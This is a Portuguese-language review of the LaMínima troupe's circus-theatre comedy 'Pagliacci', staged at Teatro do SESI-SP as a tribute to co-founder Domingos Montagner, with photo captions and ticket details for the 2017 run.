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Arte em Movimento

Pagliacci comemora 20 anos da La Mínima

Fernando Sampaio, em “Pagliacci”, ao fundo retrato de Montagner, parceiro de 20 anos no La Mínima/Foto Asa Campos

 

Mônica Rodrigues da Costa*

Especial para o Panis & Circus

O grupo LaMínima apresenta no teatro popular do Sesi a comédia “Pagliacci” (palhaços em italiano), com texto de Luís Alberto de Abreu e direção de Chico Pelúcio, ator do Galpão.

Abreu adaptou o entrecho básico da ópera “I Pagliacci”, do italiano Ruggero Leoncavallo, que fez sucesso na estreia na Europa, em 1892. Domingos Montagner (1962-2016) e Fernando Sampaio assinam a concepção.

O autor escreve no programa da peça que Leoncavallo criou um drama sério e com a moral do século 19. “Pagliacci”, ao contrário, satiriza a própria história que se desenvolve no palco. Conta a vida da companhia circense do ambicioso mas malsucedido Canio, que recruta a seu próprio modo artistas para os números de picadeiro.

O convite para fazer parte da caravana de cidade em cidade se dá numa mistura de acaso, ambição, paixão e sexo.

Fernando Sampaio (palhaço Silvio) em cena/Foto Asa Campos

 

O palhaço Silvio (Fernando Sampaio) cruza com o circo e se apaixona pela bailarina, como no número tradicional da lona, e ele implora para seguir viagem com o grupo, mas no picadeiro da montagem, a moça Nedda (Keila Bueno) se casa com Canio (Alexandre Roit) e tem seu amor cobiçado por Tonio (Filipe Bregantim).

 

Palhaço Sylvio fica triste com o casamento de Nedda com Canio/Fotos Asa Campos

 

Palhaço Silvio (Sampaio) é apaixonado por Nedda (Keila) /Foto Asa Campos

 

Este, por sua vez, é amigado com a neandertal Strompa (Carla Candiotto), que o obriga de forma engraçadíssima a ficar perto dela e insiste em que se casem. A personagem persegue esse palhaço-vilão, que realiza façanhas para escapar da prisão matrimonial.

Strompa (Carla Candiotto), amigada com Tonho (Filipe Bregantim)/Foto Asa Campos

 

A construção da montagem parece ter adotado o método da bricolagem ao relacionar referências eruditas como Bertolt Brecht e populares como as adivinhações do futuro amoroso nas cartas de baralho.

Strompa (Carla Candioto) lê cartas para Nedda (Keila Bueno)/Foto Asa Campos

 

A mistura sincrética criativa típica dos palhaços das feiras medievais chega ao século 20 no gênero de dramas encenados na segunda parte dos espetáculos de picadeiro, antecedida por números de habilidades nas diferentes atrações de malabarismo, ginástica de solo, ilusionismo e equilibrismo no arame, entre outras. É a cultura popular, ávida por saber, experimentar, misturar.

A plateia conhece o enredo através dos olhos de Peppe (Fernando Paz), velho palhaço triste, bufão irônico, dramaturgo da companhia e musicista. Ele fala em versos da lavra de Abreu, poeta forte do teatro e da literatura popular.

Peppe (Paz) conta a história da trupe circense/Foto Asa Campo

 

Peppe (Fernando Paz) e Canio (Alexandre Roit)/Foto Asa Campos

 

O prólogo, em estilo metalinguístico, comenta o fazer teatral e circense. No picadeiro, provoca estranhamento porque substitui o mestre de cerimônias do circo tradicional – em geral, uma dupla de palhaços.

As cenas justapostas e muitas vezes simultâneas têm cortes de poesia. Os acontecimentos mostrados na forma dialogada se confundem com a narração de Peppe, que se estende em toda a peça no modo de comentários épicos. Isso abole a linearidade convencional do melodrama de picadeiro que existiu até os anos 1960 no circo brasileiro.

Preciso e claro, Peppe interrompe a narrativa para descrever os personagens e filosofar sobre o ser e a existência, tocar serrote, trompete e acordeon.

Fernando Paz e o serrote-violino/Foto Asa Campos

 

A primeira parte de “Pagliacci” é uma exibição de números clássicos realizados no decorrer da narração, nas quais Fernando Sampaio se sobressai provocando risadas no número de engolidor de vidro, entre outros. 

Palhaço Silvio (Sampaio) apresenta-se como o engolidor de vidro /Foto Asa Campos

 

A cena das bailarinas em que ele contracena com Keila – número clássico que fez com Domingos Montagner – traz lembranças da dupla cômica que encantou no picadeiro e no palco e é emocionante. 

As bailarinas (Sampaio e Keina) em clássico número do La Mínima/Foto Asa Campos

 

Todos os atores estão impecáveis em seus papéis. Bregantim assume a malandragem, Keila domina coreografia lírica e leve, Alexandre veste o discurso sério do sonho de fazer uma obra de arte, de alta qualidade, que contrasta com o ridículo da ambientação circense.

Impressiona o esforço dos atores, formados com a técnica de palhaçaria, de transformar emoções nos sentimentos pasteurizados das peripécias circenses, conforme a gramática tradicional dessa arte.

Canio (Roit) e sua mulher Nedda (Keila) em cena/Foto Asa Campos

 

O trabalho do diretor Pelúcio parece ter consistido em deixar evidente as emoções enlatadas da palhaçaria (no sentido de o circo apresentar números repetidos em todos os espetáculos) e a busca do ator de se aproximar do personagem que representa.

No circo-teatro, como tantas vezes explicado pelo palhaço Roger Avanzi em entrevistas e palestras, os atores exploram a tipificação do personagem, o que se distingue do trabalho de ator de dar expressão sensível ao que vive no palco.

O contraste fica evidente, por exemplo, entre as falas de Strompa (Carla Candiotto), que se transformam em piadas de picadeiro, e o discurso elevado, ou supostamente culto, mas carregado de ironia, de Peppe e de Canio – antidiscurso.

“Pagliacci” é ao mesmo tempo uma montagem emocionante e emocionada, pois ocorre como o último projeto de Domingos Montagner em vida e faz homenagem a ele, um dos fundadores do grupo LaMínima, ao lado de Fernando Sampaio, vinte anos atrás.

Com a dupla de palhaços Agenor e Padoca, ambos contribuíram para a releitura do circo tradicional no Brasil no Circo Zanni, que continua depois da morte de Domingos.

Trupe em cena de “Pagliacci”e foto de Montagner ao fundo/Foto Asa Campos

 

O aspecto emocionante de “Pagliacci” se deve ao desempenho do elenco, dirigido com a sabedoria popular que somente um integrante do grupo mineiro Galpão, como Chico Pelúcio, consegue alcançar.

Roith como Candio em cena/Foto Asa Campos

 

O resultado é um espetáculo que não tem medo do ridículo dos palhaços, explora a interpretação dos atores ao mesmo tempo em que mantém o discurso padrão do picadeiro, com suas piadas prontas e sua linguagem kitsch-popular.

Há muito mais o que falar, da música (Marcelo Pellegrini), da cenografia (Marcio Medina), da iluminação (Wagner Freire), do figurino (Inês Sacay).

Serviço:

“Pagliacci”

Temporada: até 2/7/2017

Datas e horários: quinta a sábado, às 20h, e domingo, às 19h.

Apresentações extras: 12/4, às 20h; 7, 14 e 21/6, às 20h

Classificação Indicativa: 14 anos

Local: Teatro do SESI-SP, Centro Cultural Fiesp (av. Paulista, 1.313, em frente à estação Trianon-Masp do Metrô)

Grátis. 

Reservas antecipadas de ingressos – on-line pelo sistema Meu Sesi (www.sesisp.org.br/meu-sesi). Os ingressos remanescentes serão distribuídos nos dias do espetáculo, conforme horário de funcionamento da bilheteria (quarta a sábado, das 13h às 20h30, e aos domingos, das 11h às 19h30). www.centroculturalfiesp.com.br.

 *Jornalista, professora e poeta 

** Foto da capa – Trupe de “Pagliacci” – ao fundo retrato pintado de Montagner/Foto Asa Campos  

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